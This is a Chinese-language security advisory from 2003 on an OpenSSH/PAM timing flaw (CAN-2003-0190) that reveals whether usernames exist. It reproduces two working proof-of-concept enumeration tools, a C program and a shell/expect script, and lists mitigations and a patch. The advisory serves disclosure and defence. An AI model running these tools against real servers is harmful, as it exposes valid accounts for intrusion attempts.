xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

OpenSSH-portable使能的PAM模块泄露信息漏洞


发布时间:2003-05-25
更新时间:2003-05-25
严重程度:
威胁程度:服务器信息泄露
错误类型:设计错误
利用方式:服务器模式

BUGTRAQ ID:7467
CVE(CAN) ID:CAN-2003-0190

受影响系统
OpenSSH OpenSSH 3.4 p1          
   +Conectiva Linux 6.0          
   +Conectiva Linux 7.0          
   +Conectiva Linux 8.0          
   +FreeBSD FreeBSD 4.7          
   +FreeBSD FreeBSD 4.7 -RELEASE
   +FreeBSD FreeBSD 5.0          
   +Slackware Linux 8.1          
OpenSSH OpenSSH 3.6.1 p1
详细描述
在某些配置环境下,使能了PAM模块的OpenSSH-portable程序会泄露用户相关的敏感信息,通过分析OpenSSH服务器的响应时候,远程攻击者可以猜测他所提供的登录用户名是否有效。

测试代码
/*
* SSH_BRUTE - OpenSSH/PAM <= 3.6.1p1 remote users discovery tool
* Copyright (c) 2003 @ Mediaservice.net Srl. All rights reserved
*
* THIS IS PROPRIETARY SOURCE CODE OF @MEDIASERVICE.NET, DO NOT DISTRIBUTE.
*
* Vulnerability discovered by Marco Ivaldi <raptor@mediaservice.net>
* Proof of concept code by Maurizio Agazzini <inode@mediaservice.net>
*
* Tested against Red Hat, Mandrake, and Debian GNU/Linux.
*
* Reference: http://lab.mediaservice.net/advisory/2003-01-openssh.txt
*
* $ tar xvfz openssh-3.6.1p1.tar.gz
* $ patch -p0 <openssh-3.6.1p1_brute.diff
* patching file openssh-3.6.1p1/ssh.c
* patching file openssh-3.6.1p1/sshconnect.c
* patching file openssh-3.6.1p1/sshconnect1.c
* patching file openssh-3.6.1p1/sshconnect2.c
* $ cd openssh-3.6.1p1
* $ ./configure
* $ make
* $ cc ../ssh_brute.c -o ssh_brute
* $ ./ssh_brute 1 list.txt 192.168.0.66
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>

/* an illegal user */
#define NO_USER "not_val_user"

/* path of the patched ssh */
#define PATH_SSH "./ssh"

/* max time range for invalid user */
#define TIME_RANGE 3

int main(int argc, char *argv[])
{
    FILE * in;
    char buffer[2000], username[100], *host;
    int time_non_valid = 0, time_user = 0;    
    int version = 1, i = 0, ret;

    fprintf(stderr, "\n SSH_BRUTE - OpenSSH/PAM <= 3.6.1p1 remote users discovery tool\n");
    fprintf(stderr, " Copyright (c) 2003 @ Mediaservice.net Srl. All rights reserved\n");

    if (argc < 3) {
        fprintf(stderr, "\n Usage: %s <protocol version> <user file> <host>\n\n", argv[0]);
        exit(-1);
    }

        version = atoi(argv[1]);
        host = argv[3];

    if ( ( in = fopen(argv[2], "r") ) == NULL ) {
        fprintf(stderr, "\n Can't open %s\n", argv[2]);
        exit(-1);
    }

    /* test an illegal user */
    printf("\n Testing an illegal user\t: ");
    fflush(stdout);
    
    sprintf(buffer, "%s -%d %s@%s", PATH_SSH, version, NO_USER, host);

    for (i = 0; i < 3; i++) {
        ret = system(buffer);
        time_non_valid += WEXITSTATUS(ret);
    }

    time_non_valid /= 3;

    printf("%d second(s)\n\n", time_non_valid);

    time_non_valid += TIME_RANGE;

    /* test supplied users */
    fscanf(in, "%s", username);

    while ( !feof(in) ) {
        
        printf(" Testing login %s\t", username);

        if (strlen(username) <= 8)
            printf("\t");
        printf(": ");

        fflush( stdout );

        sprintf(buffer, "%s -%d %s@%s", PATH_SSH, version, username, host);
        ret = system(buffer);
        time_user = WEXITSTATUS(ret);

        if (time_user <= time_non_valid)
            printf("\E[31m\E[1mILLEGAL\E[m\t[%d second(s)]\n", time_user);
        else {
            /* valid user? test it again to be sure */

            ret = system(buffer);
            time_user = WEXITSTATUS(ret);

            if (time_user <= time_non_valid)
                           printf("\E[31m\E[1mILLEGAL\E[m\t[%d second(s)] [2 test]\n", time_user);
            else
                printf("\E[32m\E[1mUSER OK\E[m\t[%d second(s)]\n", time_user);
        }

        fscanf(in, "%s", username);
    }
    
    fclose(in);
    
    printf("\n");

    exit(0);
}


penSSH <= 3.6.p1 - User Identification.
# Nicolas Couture - nc@stormvault.net
#
# Description:
#       -Tells you wether or not a user exist on
#         a distant server running OpenSSH.
#
# Usage:
#       -You NEED to have the host's public key
#         before executing this script.
#


#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#
# Fact Sheet:                                   #
#         o It is really accurate against       #
#           redhat boxes.                       #
#         o Linux boxes running grsecurity      #
#           has 10 seconds delay on both        #
#           valid AND invalid user login        #
#           attempts.                           #
#         o *BSD boxes are not vulnerables and  #
#            always has 10 seconds delay like   #
#            Linux-Grsec + network protection   #
#                                               #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#
# History:                                  #
#        Thu May  1 15:41:18 EDT 2003       #
#         ; Script started.                 #
#        Thu May  1 16:42:30 EDT 2003       #
#         ; Script is functional.           #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

# Let the user know how we work.
usage(){
echo "$0 <user> <host>"
exit 1
}

# Verify the arguments.
[ $# != 2 ] && usage

# Variables.
USER="$1"
HOST="$2"

#=-=-=-=-=-=-=-=-=-=-=-=-=#
# Expect script functions #
#=-=-=-=-=-=-=-=-=-=-=-=-=#

# Expect script for password.
expasswd() {
cat << EOF > expasswd
spawn $SSHCMD
expect password:
send '\r'
interact
EOF
}

# Expect script for error.
experror() {
cat << EOF > experror
spawn expect -f expasswd
expect again.
exit 1593
interact
EOF
}

#=-=-=-=-=-=-=-=-=-=#
# -Fake user timing #
#=-=-=-=-=-=-=-=-=-=#

# OpenSSH client command for inexisting user.
export SSHCMD="ssh nicolas_couture@$HOST"

# Build new expect script.
expasswd
experror

# Timing.
FDATE0=`date '+%s'`
echo "[-] Calculating fake user timeout..."
expect -f experror 1> /dev/null 2> /dev/null
FDATE1=`date '+%s'`

# Fake user timeout.
FUTO=`echo $FDATE1 - $FDATE0 | bc`
echo "[+] Found $FUTO."

#=-=-=-=-=-=-=-=#
# -$USER timing #
#=-=-=-=-=-=-=-=#

# OpenSSH command.
export SSHCMD="ssh $USER@$HOST"

# Build new expect scripts.
expasswd
experror

DATE0=`date '+%s'`
echo "[-] Calculating $USER timeout on $SERVER..."
expect -f experror 1> /dev/null 2> /dev/null
DATE1=`date '+%s'`

# $USER timeout.
END=`echo $DATE1 - $DATE0 | bc`
echo "[+] Found $END."

#=-=-=-=-=#
# -Result #
#=-=-=-=-=#

if [ "$FUTO" -eq "$END" ] && [ "$FUTO" -eq "10" ]; then
echo "This box is not vulnerable."
exit 1
fi

# Use of our magic skills.
if [ "$FUTO" -lt "$END" ]; then
echo "$USER exist on $HOST."
elif [ "$FUTO" -ge "$END" ]; then
echo "$USER doesn't exist on $HOST."
else
echo "Segmentation fault."
exit 13
fi

# Remove tmp files.
rm -rf expasswd experror

# EOF

解决方案
临时解决方案是在pam_unix.so文件中加入"nodelay"选项,或只使用key认证方式:在sshd_config文件中设置"PasswordAuthentication no",不使用口令认证方式。

厂商已经提供了补丁:

OpenSSH OpenSSH 3.6.1 p1:
      OpenSSH Upgrade openssh-3.6.1p2.tar.gz
      ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.6.1p2.tar.gz

相关信息
OpenSSH/PAM timing attack allows remote users identification
http://online.securityfocus.com/advisories/5353